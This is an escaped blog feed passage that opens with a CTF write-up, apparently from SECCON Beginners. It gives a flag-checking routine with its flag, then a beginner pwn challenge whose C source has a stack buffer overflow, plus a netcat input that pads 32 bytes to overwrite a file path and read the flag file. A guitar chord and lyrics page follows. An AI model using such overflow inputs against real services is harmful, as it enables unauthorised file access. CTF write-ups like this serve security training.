class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x72&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">13&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x35&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">14&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x5f&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x6d&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x61&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">17&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x6b&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">18&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x33&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">19&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x5f&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x50&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">21&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x47&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">22&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x5f&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">23&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x68&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">24&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x61&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">25&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x72&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">26&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x64&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">27&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x5f&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">28&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x32&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">29&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x5f&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">30&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x72&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">31&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x33&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x61&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">33&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x64&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">34&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x7d&lt;/span>&lt;span class="p">){&lt;/span>&lt;span class="n">Console&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">WriteLine&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;YES!!!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">This is Flag :)&amp;#34;&lt;/span>&lt;span class="p">);}&lt;/span>&lt;span class="k">else&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="n">Console&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">WriteLine&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;WRONG!&amp;#34;&lt;/span>&lt;span class="p">);}}}}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}&lt;/code>&lt;/p>
&lt;h2 id="pwnable">pwnable&lt;/h2>
&lt;h3 id="pet_name-586-solve-100-beginner">pet_name [586 Solve (100 beginner)]&lt;/h3>
&lt;blockquote>
&lt;p>ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。&lt;br>
nc pet-name.challenges.beginners.seccon.jp 9080&lt;/p>
&lt;/blockquote>
&lt;p>スタックのバッファオーバーフローで文字列を上書きする．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;string.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;unistd.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">init&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// You don&amp;#39;t need to read this because it&amp;#39;s just initialization
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nf">setbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdout&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">setbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">init&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">pet_name&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">path&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">128&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s">&amp;#34;/home/pwn/pet_sound.txt&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Your pet name?: &amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">scanf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;%s&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pet_name&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">FILE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">fp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">fopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;r&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">fp&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">fgets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">fp&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;%s sound: %s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pet_name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">puts&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Failed to read the file.&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fclose&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">fp&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;File not found: %s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">path&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>32バイト分だけパディングすればよい．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: 12345678901234567890123456789012/home/pwn/flag.txt
12345678901234567890123456789012/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}
&lt;/code>&lt;/pre></description></item><item><title>忘れられないの/サカナクション ギターコード</title><link>https://stark2420.github.io/starknote/post/tab-001/</link><pubDate>Sat, 10 May 2025 00:00:00 +0000</pubDate><author>example@example.com (Stark)</author><guid>https://stark2420.github.io/starknote/post/tab-001/</guid><description>&lt;style>
.article.markdown-body table.my-table {
display: block;
width: 100%;
overflow: visible;
}
.article.markdown-body table.my-table td {
min-width: 70px;
padding: 0px 0px;
border: none;
}
#rID {
color: red;
}
&lt;/style>
&lt;script>
let scrollInterval;
let isScrolling = false;
document.addEventListener("click", function() {
if (isScrolling) {
clearInterval(scrollInterval);
isScrolling = false;
} else {
isScrolling = true;
scrollInterval = setInterval(function() {
window.scrollBy(0, 1); // 1ピクセルずつスクロール
}, 40); // スクロール PCだと50くらい
}
});
&lt;/script>
&lt;h2>Codes and Lyrics&lt;/h2>
&lt;div class="youtube-container">
&lt;iframe width="100%" height="200px" src="https://www.youtube.com/embed/uHRTZav94sc?start=717" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen>&lt;/iframe>
&lt;/div>
&lt;h2>カポ：-2&lt;/h2>
&lt;table class="my-table">
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/G6.png' alt='G6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>忘れ&lt;/td>&lt;td>られない&lt;/td>&lt;td>の&lt;/td>&lt;td>&lt;/td>&lt;td>春&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Gm6.png' alt='Gm6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>風で揺れ&lt;/td>&lt;td>る花　手&lt;/td>&lt;td>を振る&lt;/td>&lt;td>君に見えた&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/G6.png' alt='G6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>新&lt;/td>&lt;td>しい街&lt;/td>&lt;td>の&lt;/td>&lt;td>&lt;/td>&lt;td>この&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Gm6.png' alt='Gm6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>淋しさ&lt;/td>&lt;td>いつかは　思い&lt;/td>&lt;td>出に&lt;/td>&lt;td>なるはずさ&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/G6.png' alt='G6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Gm6.png' alt='Gm6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/G6.png' alt='G6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>素晴ら&lt;/td>&lt;td>しい日々&lt;/td>&lt;td>よ&lt;/td>&lt;td>&lt;/td>&lt;td>噛み&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Gm6.png' alt='Gm6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>続けて&lt;/td>&lt;td>たガムを&lt;/td>&lt;td>夜になって&lt;/td>&lt;td>吐き捨てた&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/G6.png' alt='G6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>つまら&lt;/td>&lt;td>ない日々も&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>長い&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Gm6.png' alt='Gm6'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>夜も&lt;/td>&lt;td>いつかは　思い&lt;/td>&lt;td>出に&lt;/td>&lt;td>なるはずさ&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>ずっ&lt;/td>&lt;td>とずっ&lt;/td>&lt;td>と&lt;/td>&lt;td>隠してた&lt;/td>&lt;td>けど&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>ずっ&lt;/td>&lt;td>と昔&lt;/td>&lt;td>の&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
&lt;tr>&lt;td colspan='3'>&amp;nbsp;&lt;/td>&lt;/tr>
&lt;tr>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Cadd9.png' alt='Cadd9'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/D.png' alt='D'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;td>&lt;img src='https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tab/Em7.png' alt='Em7'>&lt;/td>&lt;/tr>
&lt;tr>&lt;td>僕&lt;/td>&lt;td>の答え&lt;/td>&lt;td>をまた&lt;/td>&lt;td>用意し&lt;/td>&lt;td>て&lt;/td>&lt;/tr>
&lt;tr id='rID'>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;td>&lt;/td>&lt;/tr>
